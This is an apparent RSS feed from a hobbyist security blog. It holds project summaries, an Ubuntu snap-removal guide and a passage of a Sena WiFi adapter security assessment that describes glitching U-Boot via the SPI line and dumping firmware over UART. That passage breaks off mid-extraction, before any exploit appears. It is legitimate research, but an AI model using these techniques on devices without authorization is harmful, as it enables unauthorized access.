&lt;p&gt;The platform offers various free tools including IP address lookup services, network speed tests, and internet infrastructure services such as RIPE Atlas probes, BGP feeds, Tor nodes, and Signal TLS proxies. TOOR.sh operates on a volunteer basis with a &amp;ldquo;best effort SLA&amp;rdquo; and accepts donations of hardware, network resources, or funds to support their mission.&lt;/p&gt;</description><content:encoded><![CDATA[<p>TOOR.sh is a cloud and VM hosting service operated by ToorCon, a 501c3 non-profit organization that provides free hosting resources for security research and public benefit projects. The service includes dedicated servers for VMs, storage, and databases, along with their own ISP infrastructure (AS22296).</p>
<p>The platform offers various free tools including IP address lookup services, network speed tests, and internet infrastructure services such as RIPE Atlas probes, BGP feeds, Tor nodes, and Signal TLS proxies. TOOR.sh operates on a volunteer basis with a &ldquo;best effort SLA&rdquo; and accepts donations of hardware, network resources, or funds to support their mission.</p>
]]></content:encoded></item><item><title>WebSerial Bruteforce</title><link>https://lanrat.com/projects/webserial-bruteforce/</link><pubDate>Thu, 22 Sep 2022 00:00:00 +0000</pubDate><guid>https://lanrat.com/projects/webserial-bruteforce/</guid><description>&lt;p&gt;WebSerial Bruteforce automatically determines the correct baud rate for UART serial devices by testing common communication speeds and analyzing the returned data. The web application uses the WebSerial API to connect directly to serial devices from the browser without requiring additional software.&lt;/p&gt;
&lt;p&gt;The tool iterates through standard baud rates and measures the amount of ASCII data returned at each setting, selecting the configuration that produces the most readable output. This is useful for reverse engineering or troubleshooting unknown serial devices where the communication parameters are not documented.&lt;/p&gt;</description><content:encoded>&lt;p>WebSerial Bruteforce automatically determines the correct baud rate for UART serial devices by testing common communication speeds and analyzing the returned data. The web application uses the WebSerial API to connect directly to serial devices from the browser without requiring additional software.&lt;/p>
&lt;p>The tool iterates through standard baud rates and measures the amount of ASCII data returned at each setting, selecting the configuration that produces the most readable output. This is useful for reverse engineering or troubleshooting unknown serial devices where the communication parameters are not documented.&lt;/p>
</content:encoded></item><item><title>USB Meter</title><link>https://lanrat.com/projects/usb-meter/</link><pubDate>Tue, 20 Sep 2022 00:00:00 +0000</pubDate><guid>https://lanrat.com/projects/usb-meter/</guid><description>&lt;p&gt;USB Meter is a web application that connects to Atorch power meters via WebBluetooth to log and display electrical measurements. The application reads real-time data including voltage, current, power, energy, capacity, resistance, and temperature from compatible Atorch USB power meters.&lt;/p&gt;
&lt;p&gt;The web interface provides data logging capabilities with the ability to reset, pause, and save measurement sessions. Using WebBluetooth API, the application eliminates the need for additional software installations, operating directly in compatible web browsers with Bluetooth support.&lt;/p&gt;</description><content:encoded>&lt;p>USB Meter is a web application that connects to Atorch power meters via WebBluetooth to log and display electrical measurements. The application reads real-time data including voltage, current, power, energy, capacity, resistance, and temperature from compatible Atorch USB power meters.&lt;/p>
&lt;p>The web interface provides data logging capabilities with the ability to reset, pause, and save measurement sessions. Using WebBluetooth API, the application eliminates the need for additional software installations, operating directly in compatible web browsers with Bluetooth support.&lt;/p>
</content:encoded></item><item><title>OpenWrt Tailscale Repository</title><link>https://lanrat.com/projects/openwrt-tailscale-repository/</link><pubDate>Thu, 08 Sep 2022 00:00:00 +0000</pubDate><guid>https://lanrat.com/projects/openwrt-tailscale-repository/</guid><description>&lt;p&gt;An opkg repository that builds Tailscale combined packages for OpenWrt devices, specifically providing a backport of Tailscale for OpenWrt 19.07. The project addresses the lack of official Tailscale packages for older OpenWrt versions by providing a flexible build system that generates installable packages across multiple hardware architectures.&lt;/p&gt;
&lt;p&gt;The repository includes automated build scripts that create opkg feed and package files, allowing users to easily install and configure Tailscale on their OpenWrt 19.07 devices. This enables secure mesh networking capabilities on legacy router firmware, making it simple to connect older OpenWrt devices to a Tailscale network for remote access and site-to-site connectivity.&lt;/p&gt;</description><content:encoded>&lt;p>An opkg repository that builds Tailscale combined packages for OpenWrt devices, specifically providing a backport of Tailscale for OpenWrt 19.07. The project addresses the lack of official Tailscale packages for older OpenWrt versions by providing a flexible build system that generates installable packages across multiple hardware architectures.&lt;/p>
&lt;p>The repository includes automated build scripts that create opkg feed and package files, allowing users to easily install and configure Tailscale on their OpenWrt 19.07 devices. This enables secure mesh networking capabilities on legacy router firmware, making it simple to connect older OpenWrt devices to a Tailscale network for remote access and site-to-site connectivity.&lt;/p>
</content:encoded></item><item><title>Mag Encode</title><link>https://lanrat.com/projects/mag-encode/</link><pubDate>Wed, 03 Aug 2022 00:00:00 +0000</pubDate><guid>https://lanrat.com/projects/mag-encode/</guid><description>&lt;p&gt;Mag Encode is a web-based magnetic stripe card encoder that generates audio signals for encoding data onto magnetic stripe cards. The application runs entirely in the browser, processing encoding operations client-side without transmitting data to external servers.&lt;/p&gt;
&lt;p&gt;The tool supports configurable encoding parameters including frequency settings, reverse swipe options, and various advanced configuration options for different magnetic stripe formats. It converts digital data into the appropriate audio waveforms that can be played through audio output devices to magnetically encode stripe cards.&lt;/p&gt;</description><content:encoded>&lt;p>Mag Encode is a web-based magnetic stripe card encoder that generates audio signals for encoding data onto magnetic stripe cards. The application runs entirely in the browser, processing encoding operations client-side without transmitting data to external servers.&lt;/p>
&lt;p>The tool supports configurable encoding parameters including frequency settings, reverse swipe options, and various advanced configuration options for different magnetic stripe formats. It converts digital data into the appropriate audio waveforms that can be played through audio output devices to magnetically encode stripe cards.&lt;/p>
</content:encoded></item><item><title>Broken DNS</title><link>https://lanrat.com/projects/broken-dns/</link><pubDate>Wed, 08 Jun 2022 00:00:00 +0000</pubDate><guid>https://lanrat.com/projects/broken-dns/</guid><description>&lt;p&gt;Broken DNS performs lame delegation checking at scale to identify DNS nameserver configuration issues. The tool validates DNS delegation by checking if nameservers properly respond to queries for zones they are supposed to be authoritative for.&lt;/p&gt;
&lt;p&gt;The Go implementation can process large numbers of domains and nameservers to detect misconfigurations where nameservers are listed in delegation records but do not actually serve the zone data. This helps identify broken DNS setups that can cause resolution failures.&lt;/p&gt;</description><content:encoded>&lt;p>Broken DNS performs lame delegation checking at scale to identify DNS nameserver configuration issues. The tool validates DNS delegation by checking if nameservers properly respond to queries for zones they are supposed to be authoritative for.&lt;/p>
&lt;p>The Go implementation can process large numbers of domains and nameservers to detect misconfigurations where nameservers are listed in delegation records but do not actually serve the zone data. This helps identify broken DNS setups that can cause resolution failures.&lt;/p>
</content:encoded></item><item><title>Minimalin Reborn</title><link>https://lanrat.com/projects/minimalin-reborn/</link><pubDate>Sun, 27 Mar 2022 00:00:00 +0000</pubDate><guid>https://lanrat.com/projects/minimalin-reborn/</guid><description>&lt;p&gt;Minimalin Reborn is a minimalistic watchface for Pebble smartwatches, featuring a clean design with customizable colors and optional information displays. The watchface uses a custom font called Nupe and provides configurable elements including weather data and step tracking integration.&lt;/p&gt;
&lt;p&gt;This project is a fork and modernization of the original minimalin watchface, updated to work with current Pebble development tools and the Rebble ecosystem. The watchface supports both color and monochrome Pebble devices with adaptive styling and user-configurable display options.&lt;/p&gt;</description><content:encoded>&lt;p>Minimalin Reborn is a minimalistic watchface for Pebble smartwatches, featuring a clean design with customizable colors and optional information displays. The watchface uses a custom font called Nupe and provides configurable elements including weather data and step tracking integration.&lt;/p>
&lt;p>This project is a fork and modernization of the original minimalin watchface, updated to work with current Pebble development tools and the Rebble ecosystem. The watchface supports both color and monochrome Pebble devices with adaptive styling and user-configurable display options.&lt;/p>
</content:encoded></item><item><title>Remove SNAP from Ubuntu</title><link>https://lanrat.com/posts/remove-snap-from-ubuntu/</link><pubDate>Sat, 19 Feb 2022 10:36:47 +0000</pubDate><guid>https://lanrat.com/posts/remove-snap-from-ubuntu/</guid><description>Step-by-step guide for completely removing Snapcraft containerized applications and the snap daemon from Ubuntu installations.</description><content:encoded><![CDATA[<p>Recent versions of <a href="https://ubuntu.com/">Ubuntu</a> are shipping with <a href="https://snapcraft.io/">Snapcraft</a> by default, and some of the default applications run inside a snap as well. Snaps are application containers, similar to Docker, but designed for desktop applications.</p>
<p>Unfortunately Canonical seems to be pushing Snaps hard, and they are not always wanted. This is made worse by not providing an easy way to remove the snap functionality for Ubuntu.</p>
<p>The commands bellow will entirely remove snap from an Ubuntu installation.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>sudo snap remove snap-store
</span></span><span style="display:flex;"><span>sudo apt remove snapd
</span></span><span style="display:flex;"><span>sudo umount /dev/loop*
</span></span><span style="display:flex;"><span>sudo rm -rf /snap
</span></span><span style="display:flex;"><span>sudo rm -rf /var/snap
</span></span><span style="display:flex;"><span>sudo rm -rf /var/lib/snapd
</span></span><span style="display:flex;"><span>sudo rm -rf /etc/systemd/system/snap*
</span></span><span style="display:flex;"><span>sudo rm -rf /root/snap/ /home/*/snap
</span></span><span style="display:flex;"><span>sudo apt purge snapd
</span></span><span style="display:flex;"><span>echo -e <span style="color:#e6db74">&#39;Package: snapd\nPin: origin *\nPin-Priority: -1&#39;</span> | sudo tee /etc/apt/preferences.d/no_snapd
</span></span><span style="display:flex;"><span>reboot
</span></span></code></pre></div>
            <link rel="stylesheet" href="/css/vendors/admonitions.53cd9f8afa9d9a8ac09093f668df057bc6d0f4bbd0886f39991a7b99934a7432.css" integrity="sha256-U82fivqdmorAkJP2aN8Fe8bQ9LvQiG85mRp7mZNKdDI=" crossorigin="anonymous">
    <div class="admonition note">
      <div class="admonition-header"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"/></svg>
        <span>Note</span>
      </div>
      <div class="admonition-content">
        <p>By default <a href="https://www.mozilla.org/en-US/firefox/">Firefox</a> is installed as a snap and will be removed with the above commands. So if you want to keep Firefox installed (or any other snap program you had previously installed) you will need to re-install it using apt.</p>
      </div>
    </div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>sudo apt install firefox
</span></span></code></pre></div><p>The above commands have been successfully tested and work on Ubuntu 20.04 and 22.04.</p>
]]></content:encoded></item><item><title>Homeplate</title><link>https://lanrat.com/projects/homeplate/</link><pubDate>Sat, 22 Jan 2022 00:00:00 +0000</pubDate><guid>https://lanrat.com/projects/homeplate/</guid><description>&lt;p&gt;Homeplate is an ESP32-based e-ink dashboard that displays data from Trmnl and Home Assistant on an Inkplate 10 device. The firmware fetches and renders various dashboard widgets including sensor readings, WiFi QR codes, and system status information.&lt;/p&gt;
&lt;p&gt;The implementation uses FreeRTOS on ESP32 to manage display updates, network connectivity, and power management for the e-ink display. It supports multiple data sources and configurable display layouts for home automation monitoring.&lt;/p&gt;</description><content:encoded>&lt;p>Homeplate is an ESP32-based e-ink dashboard that displays data from Trmnl and Home Assistant on an Inkplate 10 device. The firmware fetches and renders various dashboard widgets including sensor readings, WiFi QR codes, and system status information.&lt;/p>
&lt;p>The implementation uses FreeRTOS on ESP32 to manage display updates, network connectivity, and power management for the e-ink display. It supports multiple data sources and configurable display layouts for home automation monitoring.&lt;/p>
</content:encoded></item><item><title>ESPHome Components</title><link>https://lanrat.com/projects/esphome-components/</link><pubDate>Mon, 04 Oct 2021 00:00:00 +0000</pubDate><guid>https://lanrat.com/projects/esphome-components/</guid><description>&lt;p&gt;ESPHome Components is a collection of custom components that extend ESPHome functionality for ESP8266 and ESP32 microcontrollers. The repository contains C++ implementations of additional sensors, displays, and device integrations not available in the core ESPHome distribution.&lt;/p&gt;
&lt;p&gt;The components follow ESPHome&amp;rsquo;s standard architecture and configuration patterns, allowing them to be easily integrated into existing ESPHome projects through external component references. Each component includes the necessary C++ code and Python configuration validation.&lt;/p&gt;</description><content:encoded><![CDATA[<p>ESPHome Components is a collection of custom components that extend ESPHome functionality for ESP8266 and ESP32 microcontrollers. The repository contains C++ implementations of additional sensors, displays, and device integrations not available in the core ESPHome distribution.</p>
<p>The components follow ESPHome&rsquo;s standard architecture and configuration patterns, allowing them to be easily integrated into existing ESPHome projects through external component references. Each component includes the necessary C++ code and Python configuration validation.</p>
]]></content:encoded></item><item><title>DNS2mDNS</title><link>https://lanrat.com/projects/dns2mdns/</link><pubDate>Mon, 26 Apr 2021 00:00:00 +0000</pubDate><guid>https://lanrat.com/projects/dns2mdns/</guid><description>&lt;p&gt;DNS2mDNS bridges traditional DNS queries with multicast DNS (mDNS) resolution for .local hostnames. The service allows devices that don&amp;rsquo;t natively support mDNS, such as many Android devices and Windows systems, to resolve local network hostnames through standard DNS queries.&lt;/p&gt;
&lt;p&gt;The Go implementation acts as a DNS server that intercepts queries for .local domains and forwards them to the mDNS system, then returns the results via standard DNS responses. This enables seamless local hostname resolution across mixed network environments with Docker deployment support.&lt;/p&gt;</description><content:encoded><![CDATA[<p>DNS2mDNS bridges traditional DNS queries with multicast DNS (mDNS) resolution for .local hostnames. The service allows devices that don&rsquo;t natively support mDNS, such as many Android devices and Windows systems, to resolve local network hostnames through standard DNS queries.</p>
<p>The Go implementation acts as a DNS server that intercepts queries for .local domains and forwards them to the mDNS system, then returns the results via standard DNS responses. This enables seamless local hostname resolution across mixed network environments with Docker deployment support.</p>
]]></content:encoded></item><item><title>Sena WiFi Adapter Security Assessment &amp; Vulnerabilities</title><link>https://lanrat.com/posts/sena-wifi-adapter-security/</link><pubDate>Tue, 09 Mar 2021 09:04:02 +0000</pubDate><guid>https://lanrat.com/posts/sena-wifi-adapter-security/</guid><description>Security analysis and vulnerability assessment of the Sena 50R WiFi adapter, revealing multiple exploitable flaws including command injection and root shell access.</description><content:encoded><![CDATA[<p>This post outlines a security assessment of the new Sena Wifi Adapter I performed last summer for fun.</p>
<p>With the world on lock-down due to COVID-19, I spent a lot of time last summer escaping the city going on motorcycle rides through the mountains and forests surrounding the bay area. It&rsquo;s the perfect social distance activity because if you get within 6ft of someone you are likely to crash. One of my favorite motorcycle accessories is my Sena headset. It allows me to listen to navigation or music from my phone over Bluetooth while riding, and talk to other riders in my group.</p>
<p>I was in the market for a new headset and Sena had just released the <a href="https://www.sena.com/product/50r">Sena 50R</a>. It has USB-C, mesh, Bluetooth 5, voice activated assistant, and a built in FM radio. A huge upgrade from my older <a href="https://www.sena.com/product-comparison-smh">SMH10R</a>.</p>
<p>The 50R is meant to be controlled via a companion app that allows the user to change the settings. The USB-C port is used for charging and firmware updates. The 50R comes with a <a href="https://www.sena.com/product/50r#slick-slide20:~:text=RAPIDLY%20CHARGED%20AND%20AUTOMATICALLY%20UPDATED">WiFi Adapter</a> cable to simultaneously charge the headset and install any available firmware updates.</p>
<figure>
    <img loading="lazy" src="images/WiFi-Sync-Cable-03.webp"
         alt="Sena WiFi Adapter Cable"/> <figcaption>
            <p>Sena WiFi Adapter Cable</p>
        </figcaption>
</figure>

<p>This WiFi Adapter cable is actually a USB-C cable with a WiFi enabled computer inside the cable. This sounds a lot like the <a href="https://arstechnica.com/information-technology/2015/01/playing-nsa-hardware-hackers-build-usb-cable-that-can-attack/">COTTONMOUTH</a> implant from the <a href="https://en.wikipedia.org/wiki/NSA_ANT_catalog">NSA ANT catalog</a>, but much cheaper.</p>
<p>To use the WiFi cable, after plugging it in and waiting for it to boot, it creates its own WiFi access point, which the app connects to allowing the user to configure the cable to connect to their home&rsquo;s WiFi network. Now every time a headset is plugged into the USB-C end of the cable, it will check for firmware updates and install them.</p>
<p>Sena must really want everyone to have up to date firmware to build a WiFi enabled firmware updating computer inside of a USB cable.</p>
<h2 id="security-assessment">Security Assessment</h2>
<p>Being the curious security minded person that I am, I decided to investigate this computer inside my new USB cable.</p>
<h3 id="physical-assessment">Physical Assessment</h3>
<p>Removing 4 screws and disconnecting the USB upstream and downstream cables is all it takes to see the internal components.</p>
<p><img alt="chip front" loading="lazy" src="/posts/sena-wifi-adapter-security/images/wifi-adapter-pcb-front.webp">
<img alt="chip back" loading="lazy" src="/posts/sena-wifi-adapter-security/images/wifi-adapter-pcb-back.webp"></p>
<p>The main SOC (System On Chip) is a <a href="https://www.sonix.com.tw/article-en-958-13487">SONiX SN98600</a> containing an ARM9 CPU and 64MB of RAM. There is a 16MB Winbond <a href="https://www.winbond.com/resource-files/w25q128jv%20revf%2003272018%20plus.pdf">25Q128JVP0</a> SPI flash storage chip, and a Realtek <a href="https://www.realtek.com/en/products/communications-network-ics/item/rtl8188eus">RTL8188EU</a> WiFi interface.</p>
<p>There are some test points, three of which are conveniently labeled GND, TX, and RX. Which looks like a lot like <a href="https://en.wikipedia.org/wiki/Universal_asynchronous_receiver-transmitter">UART</a>! Connecting these test points to a logic analyzer and monitoring the signals while applying power confirms that it is an async serial configured for 115200 8N1.</p>
<p>Monitoring the UART while rebooting reveals that the device is using the <a href="https://www.denx.de/wiki/U-Boot">U-BOOT</a> boot loader to boot Linux kernel 2.6.35.12. While the Linux kernel boots, the boot logs provide more details on the hardware and its configuration on the device and then drops to a login prompt.</p>
<h3 id="dumping-the-flash">Dumping the Flash</h3>
<p>In order to dump the contents of the SPI flash chip to better examine the system&rsquo;s file-system there are two options.</p>
<ol>
<li>Connect the SPI flash chip to a device that speaks SPI like the <a href="https://www.adafruit.com/product/2264">FT232H</a> and use the <a href="https://www.flashrom.org/Flashrom">flashrom</a> tool to dump the contents.</li>
<li>Find a way to read and dump the flash contents from within the device.</li>
</ol>
<p>The first option is cleaner and is my preferred method. I connected GND, MISO, MOSI, CS, CLK, and 3.3 VCC to my SPI dumper and tried to identify the chip with <code>flashrom -p ft2232_spi:type=232h --flash-name</code>. However providing power to the SPI chip also supplied power to the main SOC and other components on the board causing them to boot and also send commands to the SPI flash, making a clean read impossible. I could have desoldered the chip and read it without powering the rest of the device, but that runs the risk that I might physically damage something in the process, so I decided to give the second option a try.</p>
<p>I did not know any valid logins to get past the Linux login prompt (I tried a lot of the common defaults), but what about the boot loader? The U-BOOT boot loader was configured to immediately start the Linux kernel after loading. My colleague <a href="https://twitter.com/mjg59">Matthew Garrett</a> proposed an ingenious idea, glitch U-BOOT into dropping to a shell. The idea is that after U-BOOT itself loads, it loads the Linux kernel from the SPI flash into RAM, and then boots it. If this process can be tricked into erroring then then it may drop to an interactive U-BOOT shell. This can be accomplished by interfering with the SPI MISO signal while U-BOOT is loading the kernel so that it loads a corrupt kernel and is unable to boot it. I did this by watching the console output and shorting the SPI MISO to ground very briefly while it was loading the kernel image. This took a few tries to get right, but it did result in U-BOOT entering an interactive shell.</p>
<p>U-BOOT can be compiled to include different utilities or commands to get the system booting. This version included the following two commands of interest:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-asm" data-lang="asm"><span style="display:flex;"><span><span style="color:#a6e22e">spi</span> <span style="color:#66d9ef">read</span>  <span style="color:#66d9ef">addr</span> <span style="color:#66d9ef">offset</span> <span style="color:#66d9ef">len</span>  - <span style="color:#66d9ef">read</span>  <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#66d9ef">len</span><span style="color:#960050;background-color:#1e0010">&#39;</span> <span style="color:#66d9ef">bytes</span> <span style="color:#66d9ef">starting</span> <span style="color:#66d9ef">at</span> <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#66d9ef">offset</span><span style="color:#960050;background-color:#1e0010">&#39;</span> <span style="color:#66d9ef">to</span> <span style="color:#66d9ef">memory</span> <span style="color:#66d9ef">at</span> <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#66d9ef">addr</span><span style="color:#960050;background-color:#1e0010">&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">md</span> [.<span style="color:#66d9ef">b</span>, <span style="color:#66d9ef">.w</span>, <span style="color:#66d9ef">.l</span>] <span style="color:#66d9ef">address</span> [<span style="color:#75715e"># of objects]
</span></span></span></code></pre></div><ul>
<li><code>spi read</code> reads data from the SPI chip into memory at a specified location.</li>
<li><code>md</code> displays the contents of memory at the provided location in a hexdump like format.</li>
</ul>
<p>I could tell from the boot logs that the Linux kernel is loaded into memory starting at address <code>0x00008000</code> so that address should be safe to load flash data to, and the entire flash is 16M, which is <code>0x1000000</code> byes in hex.</p>
<p>Using these two commands it is possible to load all of the flash to memory and then dump it over the UART. I used <code>screen -L</code> as the serial console so that all of the UART results would be saved to a file.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>screen -L /dev/ttyUSB0 <span style="color:#ae81ff">115200</span>
</span></span><span style="display:flex;"><span>spi read 0x00008000 <span style="color:#ae81ff">0</span> 0x1000000
</span></span><span style="display:flex;"><span>md 0x00008000 <span style="color:#ae81ff">1000000</span>
</span></span></code></pre></div><figure>
    <img loading="lazy" src="images/sena-pcb-testpoints.webp"
         alt="slowly dumping the SPI flash over UART"/> <figcaption>
            <p>slowly dumping the SPI flash over UART</p>
        </figcaption>
</figure>

<p>The <code>spi read</code> operation took about one second to complete, however due to the inefficiency of loading 16M of data in hexdump format over a 115200 baud connection the <code>md</code> operation took the better part of a day. Reading the SPI chip directly would have been much faster, but I did not want to risk it.</p>
<p>Once the dump finishes <code>xxd</code> can be used to convert it from the hexdump format to binary.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>xxd -r hexdump.txt flash.bin
</span></span></code></pre></div><p>Since the <code>md</code> command started at offset <code>0x8000</code>, xxd will prepend nulls (0x00) to the file to make the offsets align. <code>dd</code> can be used to trim the extra data added for the memory offsets leaving just the flash data with the correct offsets.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>dd <span style="color:#66d9ef">if</span><span style="color:#f92672">=</span>flash.bin of<span style="color:#f92672">=</span>flash_trim.bin bs<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span> skip<span style="color:#f92672">=</span><span style="color:#66d9ef">$((</span><span style="color:#ae81ff">0</span>x8000<span style="color:#66d9ef">))</span>
</span></span></code></pre></div><p>Since the flash was dumped from RAM, it needs to be converted from big-endian to little-endian. This can be done with <code>objcopy</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>objcopy -I binary -O binary --reverse-bytes<span style="color:#f92672">=</span><span style="color:#ae81ff">4</span> flash_trim.bin sena_wifi.bin
</span></span></code></pre></div><p>The boot logs contain the partition table, which can be used to extract the individual partitions on the flash.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>hw-setting=0x00000000 0x00000FFF
</span></span><span style="display:flex;"><span>u-boot=0x00003000 0x0007DFFF
</span></span><span style="display:flex;"><span>u-env=0x0007E000 0x0007E000
</span></span><span style="display:flex;"><span>flash-layout=0x0007F000 0x0007FFFF
</span></span><span style="display:flex;"><span>factory=0x00080000 0x000BFFFF
</span></span><span style="display:flex;"><span>kernel=0x000C0000 0x003BFFFF
</span></span><span style="display:flex;"><span>rootfs-r=0x003C0000 0x00ABFFFF
</span></span><span style="display:flex;"><span>rootfs-app=0x00ABFFFF 0x00ABFFFF
</span></span><span style="display:flex;"><span>rootfs-rw =0x00EC0000 0x00FBFFFF
</span></span><span style="display:flex;"><span>user=0x00FC0000 0x00FFFFFF
</span></span><span style="display:flex;"><span>u-logo=0x00FFFFFF 0x00FFFFFF
</span></span><span style="display:flex;"><span>rescue=0x00AC0000 0x00EBFFFF
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>dd <span style="color:#66d9ef">if</span><span style="color:#f92672">=</span>sena_wifi.bin of<span style="color:#f92672">=</span>hw_setting.bin bs<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span> skip<span style="color:#f92672">=</span><span style="color:#66d9ef">$((</span><span style="color:#ae81ff">0</span>x00000000<span style="color:#66d9ef">))</span> count<span style="color:#f92672">=</span><span style="color:#66d9ef">$((</span><span style="color:#ae81ff">0</span>x00000FFF-0x00000000<span style="color:#66d9ef">))</span>
</span></span><span style="display:flex;"><span>dd <span style="color:#66d9ef">if</span><span style="color:#f92672">=</span>sena_wifi.bin of<span style="color:#f92672">=</span>u-boot.bin bs<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span> skip<span style="color:#f92672">=</span><span style="color:#66d9ef">$((</span><span style="color:#ae81ff">0</span>x00003000<span style="color:#66d9ef">))</span> count<span style="color:#f92672">=</span><span style="color:#66d9ef">$((</span><span style="color:#ae81ff">0</span>x0007DFFF-0x00003000<span style="color:#66d9ef">))</span>
</span></span><span style="display:flex;"><span>dd <span style="color:#66d9ef">if</span><span style="color:#f92672">=</span>sena_wifi.bin of<span style="color:#f92672">=</span>u-env.bin bs<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span> skip<span style="color:#f92672">=</span><span style="color:#66d9ef">$((</span><span style="color:#ae81ff">0</span>x0007E000<span style="color:#66d9ef">))</span> count<span style="color:#f92672">=</span><span style="color:#66d9ef">$((</span><span style="color:#ae81ff">0</span>x0007E000-0x0007E000<span style="color:#66d9ef">))</span>
</span></span><span style="display:flex;"><span>dd <span style="color:#66d9ef">if</span><span style="color:#f92672">=</span>sena_wifi.bin of<span style="color:#f92672">=</span>flash-layout.bin bs<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span> skip<span style="color:#f92672">=</span><span style="color:#66d9ef">$((</span><span style="color:#ae81ff">0</span>x0007F000<span style="color:#66d9ef">))</span> count<span style="color:#f92672">=</span><span style="color:#66d9ef">$((</span><span style="color:#ae81ff">0</span>x0007FFFF-0x0007F000<span style="color:#66d9ef">))</span>
</span></span><span style="display:flex;"><span>dd <span style="color:#66d9ef">if</span><span style="color:#f92672">=</span>sena_wifi.bin of<span style="color:#f92672">=</span>factory.bin bs<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span> skip<span style="color:#f92672">=</span><span style="color:#66d9ef">$((</span><span style="color:#ae81ff">0</span>x00080000<span style="color:#66d9ef">))</span> count<span style="color:#f92672">=</span><span style="color:#66d9ef">$((</span><span style="color:#ae81ff">0</span>x000BFFFF-0x00080000<span style="color:#66d9ef">))</span>
</span></span><span style="display:flex;"><span>dd <span style="color:#66d9ef">if</span><span style="color:#f92672">=</span>sena_wifi.bin of<span style="color:#f92672">=</span>kernel.bin bs<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span> skip<span style="color:#f92672">=</span><span style="color:#66d9ef">$((</span><span style="color:#ae81ff">0</span>x000C0000<span style="color:#66d9ef">))</span> count<span style="color:#f92672">=</span><span style="color:#66d9ef">$((</span><span style="color:#ae81ff">0</span>x003BFFFF-0x000C0000<span style="color:#66d9ef">))</span>
</span></span><span style="display:flex;"><span>dd <span style="color:#66d9ef">if</span><span style="color:#f92672">=</span>sena_wifi.bin of<span style="color:#f92672">=</span>rootfs-r.bin bs<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span> skip<span style="color:#f92672">=</span><span style="color:#66d9ef">$((</span><span style="color:#ae81ff">0</span>x003C0000<span style="color:#66d9ef">))</span> count<span style="color:#f92672">=</span><span style="color:#66d9ef">$((</span><span style="color:#ae81ff">0</span>x00ABFFFF-0x003C0000<span style="color:#66d9ef">))</span>
</span></span><span style="display:flex;"><span>dd <span style="color:#66d9ef">if</span><span style="color:#f92672">=</span>sena_wifi.bin of<span style="color:#f92672">=</span>rootfs-app.bin bs<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span> skip<span style="color:#f92672">=</span><span style="color:#66d9ef">$((</span><span style="color:#ae81ff">0</span>x00ABFFFF<span style="color:#66d9ef">))</span> count<span style="color:#f92672">=</span><span style="color:#66d9ef">$((</span><span style="color:#ae81ff">0</span>x00ABFFFF-0x00ABFFFF<span style="color:#66d9ef">))</span>
</span></span><span style="display:flex;"><span>dd <span style="color:#66d9ef">if</span><span style="color:#f92672">=</span>sena_wifi.bin of<span style="color:#f92672">=</span>rootfs-rw.bin bs<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span> skip<span style="color:#f92672">=</span><span style="color:#66d9ef">$((</span><span style="color:#ae81ff">0</span>x00EC0000<span style="color:#66d9ef">))</span> count<span style="color:#f92672">=</span><span style="color:#66d9ef">$((</span><span style="color:#ae81ff">0</span>x00FBFFFF-0x00EC0000<span style="color:#66d9ef">))</span>
